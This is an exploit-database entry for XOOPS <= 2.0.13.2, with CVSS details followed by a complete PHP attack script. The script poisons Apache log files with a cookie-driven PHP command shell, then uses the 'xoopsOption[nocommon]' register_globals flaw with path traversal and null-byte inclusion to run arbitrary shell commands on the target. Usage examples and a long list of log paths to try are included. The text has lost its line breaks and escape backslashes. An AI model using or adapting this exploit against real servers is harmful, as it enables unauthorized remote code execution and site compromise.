XOOPS <= 2.0.13.2 'xoopsOption[nocommon]' exploit

2006.05.24
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "XOOPS <= 2.0.13.2 'xoopsOption[nocommon]' exploitrn"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrnrn"; /* works with: magic_quotes_gpc = Off register_globals = On */ if ($argc<4) { echo "Usage: php ".$argv[0]." host path cmd OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to xoopsrn"; echo "cmd: a shell commandrn"; echo "Options:rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Examples:rn"; echo "php ".$argv[0]." localhost /xoops/ rn"; echo "php ".$argv[0]." localhost /xoops/ ls -la -p81rn"; echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80rn"; die; } /* hi, back from my annual social engineering tour, this year in Milan ;) welcome to this new 0day experience... explaination: vulnerable code in mainfile.php at lines 94-96: ... if (!isset($xoopsOption['nocommon']) && XOOPS_ROOT_PATH != '') { include XOOPS_ROOT_PATH."/include/common.php"; } ... if register_globals = On you can overwrite $xoopsOption['nocommon'] var, to skip common.php inclusion where $xoopsConfig['language'] and $xoopsConfig['theme_set] are initialized, so, if magic_quotes_gpc=Off you can include arbitrary files from local resources, ex., Apache log files: http://[target]/[path]/misc.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoo psConfig[language]=../../../../../../../../../../var/log/httpd/access_lo g%00 http://[target]/[path]/index.php?cmd=ls%0-la&xoopsOption[nocommon]=1&xoo psConfig[theme_set]=../../../../../../../../../../var/log/httpd/error_lo g%00 or, if avatar uploads are enabled: http://[target]/xoops/html/index.php?cmd=ls%20-la&xoopsOption[nocommon]= 1&xoopsConfig[theme_set]=../uploads/cavt44703c30d3dbf.jpg%00 this tool inject some php code in apache log files and try to launch commands */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $cmd="";$port=80;$proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "[1] Injecting some code in log files ...rnrn"; $CODE="*delim*<?php error_reporting(0);set_time_limit(0);passthru($_COOKIE[cmd]);die;?>"; $packet="GET ".$p.$CODE." HTTP/1.0rn"; $packet.="User-Agent: ".$CODE." Googlebot/2.1rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: closernrn"; sendpacketii($packet); sleep(1); //fill with possible locations... $paths=array( "../../../../../../../../../../var/log/httpd/access_log", "../../../../../../../../../../var/log/httpd/error_log", "../apache/logs/error.log", "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/error.log", "../../../../../apache/logs/access.log", "../../../../../../apache/logs/error.log", "../../../../../../apache/logs/access.log", "../logs/error.log", "../logs/access.log", "../../logs/error.log", "../../logs/access.log", "../../../logs/error.log", "../../../logs/access.log", "../../../../logs/error.log", "../../../../logs/access.log", "../../../../../logs/error.log", "../../../../../logs/access.log", "../../../../../../logs/error.log", "../../../../../../logs/access.log", "../../../../../../../../../../etc/httpd/logs/acces_log", "../../../../../../../../../../etc/httpd/logs/acces.log", "../../../../../../../../../../etc/httpd/logs/error_log", "../../../../../../../../../../etc/httpd/logs/error.log", "../../../../../../../../../../var/www/logs/access_log", "../../../../../../../../../../var/www/logs/access.log", "../../../../../../../../../../usr/local/apache/logs/access_log", "../../../../../../../../../../usr/local/apache/logs/access.log", "../../../../../../../../../../var/log/apache/access_log", "../../../../../../../../../../var/log/apache/access.log", "../../../../../../../../../../var/log/access_log", "../../../../../../../../../../var/www/logs/error_log", "../../../../../../../../../../var/www/logs/error.log", "../../../../../../../../../../usr/local/apache/logs/error_log", "../../../../../../../../../../usr/local/apache/logs/error.log", "../../../../../../../../../../var/log/apache/error_log", "../../../../../../../../../../var/log/apache/error.log", "../../../../../../../../../../var/log/access_log", "../../../../../../../../../../var/log/error_log" ); $xpl= array ( "misc.php?xoopsOption[nocommon]=1&xoopsConfig[language]=", "index.php?xoopsOption[nocommon]=1&xoopsConfig[theme_set]=" ); for ($j=0; $j<=count($xpl)-1; $j++) { for ($i=0; $i<=count($paths)-1; $i++) { $a=$i+2; echo "[".$a."] Trying with: ".$xpl[$j].$paths[$i]."%00rn"; $packet ="GET ".$p.$xpl[$j].$paths[$i]."%00 HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: cmd=".$cmd.";rn"; $packet.="Connection: Closernrn"; #debug #echo quick_dump($packet); sendpacketii($packet); if (strstr($html,"*delim*")) { echo "Exploit succeeded...rn"; $temp=explode("*delim*",$html); die($temp[1]); } } } //if you are here... echo "Exploit failed..."; ?> original url: http://retrogod.altervista.org/xoops_20132_incl.html


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